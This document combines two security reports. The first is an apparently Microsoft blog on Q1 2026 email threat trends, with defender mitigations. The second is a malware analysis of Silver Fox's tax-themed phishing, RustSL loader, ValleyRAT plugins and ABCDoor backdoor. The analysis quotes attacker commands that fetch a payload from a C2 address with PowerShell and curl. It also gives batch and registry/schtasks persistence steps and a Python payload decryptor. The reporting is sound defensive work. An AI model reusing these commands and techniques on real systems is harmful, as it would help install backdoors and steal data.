Threat actors use CAPTCHA pages to delay detection and increase user interaction. These pages function as a visual decoy, giving the appearance of a legitimate security check while concealing a transition to malicious content. By forcing users to engage with the CAPTCHA before accessing the payload, threat actors reduce the likelihood of automated scanning tools identifying the threat and increase the chances of successful credential harvesting or malware delivery. Additionally, fake CAPTCHAs are used in ClickFix attacks to trick users into copying and executing malicious commands under the guise of human verification, allowing malware to bypass conventional security controls.

After declining in both January (-45%) and February (-8%), CAPTCHA-gated phishing volumes exploded in March, more than doubling (+125%) to 11.9 million attacks, the highest volume observed over the last year.

The most notable aspect of Q1 CAPTCHA trends was the rapid rotation of delivery methods, as threat actors appeared to actively experiment with which payload formats most effectively evade email defenses:

• HTML attachments started the year as the most common method to deliver CAPTCHA-gated phishing (37% in January), but dropped 34% in February, hitting its lowest monthly volume since August 2025. Although their volume more than doubled in March, hitting an annual monthly high, HTML files were still only the second-most common delivery method to close the quarter.

• SVG files, which had seen consecutive months of decreasing volumes, grew by 49% in February at the same time nearly every other delivery payload type decreased. Because of this, it was the most common delivery method for the month, which had not happened since November 2025. This one-month spike reversed itself in March, however, and the number of SVG files delivering CAPTCHA-gated phish fell by 57%, accounting for just 7% of delivery payloads.
• PDF files saw a meteoric rise in volume during the first quarter of the year. After seeing steady month-over-month declines since July 2025, and hitting an annual monthly low point in January 2026, the number of PDF attachments leading to CAPTCHA-gated phishing sites more than quadrupled in March (+356%). Not only did it retake its spot as the most common delivery method for these attacks since last July, but it eclipsed its annual high by more than 37%.
• DOC/DOCX files, which didn’t make up more than 9% of CAPTCHA-gated phishing payloads over the previous nine months, increased almost five times (+373%) in March to account for 15% of payloads.
• Email-embedded URLs, which had once delivered more than half of CAPTCHA-gated phish at the end of August 2025, hit an eight-month low after falling 85% between December and February. While their volume nearly doubled in March, they remained well below late-2025 levels.

Another notable shift in CAPTCHA-gated phishing attacks was the erosion of Tycoon2FA’s impact on the landscape. At the end of 2025, more than three-quarters of CAPTCHA-gated phishing sites were hosted on Tycoon2FA infrastructure. This share decreased significantly over the course of the first three months of 2026, falling to just 41% in March. This broadening of CAPTCHA-gated phishing sites being used by an increasing number of threat actors and phishing kits, combined with the overall surge in volume, indicates that this technique is becoming a more entrenched component of the phishing playbook rather than a specialty of a small number of tools.

Three-day campaign delivers CAPTCHA-gated phishing content using malicious SVG attachments

Between February 23 and February 25, 2026, a large, sustained campaign sent more than 1.2 million messages to users at more than 53,000 organizations in 23 countries. Messages in the campaign included a number of different themes, including an important 401K update, a credit hold warning, a question about a received payment, a payment request for a past due invoice, and a voice message notification.

Many of the messages contained a fake confidentiality disclaimer to enhance the credibility of the messages and provide a proactive excuse about why a recipient may have mistakenly received an email that may not be applicable to them.

Attached to each message was an SVG file that was named to appropriately match the theme of the email. All the file names included a Base64-encoded version of the recipient’s email address. Example of file names used in the campaign include the following:

• <Recipient Email Domain>_statements_inv_<Base64-encoded Email Address>.svg
• 401K_copy_<Recipient Name>_<Base64-encoded Email Address>_241.svg
• Check_2408_Payment_Copy_<Recipient First Name>_<Base64-encoded Email Address>_241.svg
• INV#_1709612175_<Base64-encoded Email Address>.svg
• Listen_(<Base64-encoded Email Address>).svg
• PLAY_AUDIO_MESSAGE__<Recipient Name>_<Base64-encoded Email Address>_241.svg

If an attached SVG file was opened, the user’s browser would open locally and fetch content from one of the three following hostnames:

• bouleversement.niovapahrm[.]com
• haematogenesis.hvishay[.]com
• ubiquitarianism.drilto[.]com

Initially, the user would be shown a “security check” CAPTCHA. Once the CAPTCHA had been successfully completed, the user would then be shown a fake sign-in page used to compromise their account credentials.

Malicious payloads

Credential phishing tightened its grip on the malicious payload landscape across Q1, growing from 89% of all payload-based attacks in January to 95% in February before settling at 94% in March. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery continued its long-term decline, representing just 5–6% of payloads by the end of the quarter.

The most striking payload trend was the volatility across file types, driven by large campaigns that created dramatic week-to-week swings:

• HTML attachments started Q1 as the leading file type (37% of payloads in January), fell to an annual low in February (-57%), then nearly tripled in March (+175%). This volatility was largely campaign-driven, with concentrated activity in the first half of January and the third week of March.
• Malicious PDFs followed a steady upward trajectory, increasing 38% in February and another 50% in March to reach their highest monthly volume in over a year. By March, PDFs accounted for 29% of payloads, up from 19% in January.
• ZIP/GZIP attachments were similarly volatile by nearly doubling in January (+94%), dropping 38% in February, then surging 79% in March. Threat actors commonly use ZIP files to circumvent Mark of the Web (MOTW) protections.
• SVG files emerged briefly in February as a notable delivery method (with a 50% volume increase) before declining 32% in March, mirroring the pattern seen in CAPTCHA-gated phishing.

Large-scale HTML phishing campaign hosts content on multiple PhaaS infrastructures

On March 17, 2026, Microsoft Threat Intelligence observed a massive phishing campaign that drove a significant surge in malicious HTML attachments during the month. The campaign involved more than 1.5 million confirmed malicious messages sent to over 179,000 organizations across 43 countries, accounting for approximately 7% of all malicious HTML attachments observed in March.

All messages in this campaign were likely sent using the same tool or service, which exhibited several distinct and highly consistent characteristics. Most notably, sender addresses across the campaign featured excessively long, keyword‑stuffed usernames that embedded URLs, tracking identifiers, and service references. These usernames were crafted to resemble legitimate transactional, billing, or document‑related notification senders. Examples of observed sender usernames include:

• eReceipt_Payment_Alert_Noreply-/m939k6d7.r.us-west-2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29-ab5789bd-1426-4800-ae7d-877ea7f61d24-000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-qq8m2tzd
• Center-=AAP1eU7NKykAABXNznVa8w___listenerId=AAP1eU7NKykAABXNznVa8w___aw_0_device.player_name=Chrome___aw_0_ivt.result=unknown___cbs=9901711___aw_0_azn.zposition=%5B%22undefined%22%5D___us_privacy=___aw_0_app.name=Second+Screen___externalClickUrl=otdk-takaki-h
• DocExchange_Noreply-m939k6d7.r.us_west_2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29ab5789bd14264800ae7d877ea7f61d24000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-angie

The emails themselves contained little to no message body content. While subject lines varied, they consistently impersonated routine business and workflow notifications, including payment and remittance alerts (for example, Automated Clearing House (ACH), Electronic Funds Transfer (EFT), wire), invoice or aging statements, and e‑signature or document delivery requests. These subjects relied on urgency, approval language, and transactional framing to prompt recipients to review, sign, or access an attached document.

Each message included an HTML attachment with a file name aligned to the email’s theme. When opened, the HTML file launched locally on the recipient’s device and immediately redirected the user to an initial external staging page. This page performed basic screening and then redirected the user to a secondary landing page hosting the phishing content. On the final landing page, users were presented with a CAPTCHA challenge before being directed to a fraudulent sign‑in page designed to harvest account credentials.

Interestingly, although messages in this campaign shared common tooling, structure, and delivery characteristics, the infrastructure hosting the final phishing payload was linked to multiple different PhaaS providers. Most observed phishing endpoints were associated with Tycoon2FA, while additional activity was linked to Kratos (formerly Sneaky2FA) and EvilTokens infrastructure.

Business email compromise

Microsoft defines business email compromise (BEC) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the threat actor sensitive documents. These attacks fluctuated across Q1, totaling approximately 10.7 million attacks: rising 24% in January, dipping 8% in February, then surging 26% in March.

The composition of BEC attacks remained consistent throughout Q1. Generic outreach messages (like “Are you at your desk?”) accounted for 82–84% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 9–10%. This pattern underscores that BEC operators overwhelmingly favor establishing a conversational rapport before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, two sub-categories showed notable movement. Payroll update requests grew 15% in February, reaching their highest volume in eight months, potentially reflecting tax season-related social engineering. Gift card requests fell 37% in February to their lowest level since July before rebounding sharply in March (+108%), though they still represented less than 3% of overall BEC messages. These fluctuations suggest that BEC operators adjust their specific financial pretexts seasonally while maintaining a consistent overall approach.

Defending against email threats

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, March 2026
• Activity Profile: Email threat landscape, February 2026
• Activity Profile: Email threat landscape, January 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog.

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
   

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
   

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   

   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

4. Using curl:
   

   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   

   "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient

   
   Persistence is established by executing the following command:
   

   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

2. Task scheduler: The malware executes
   

   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

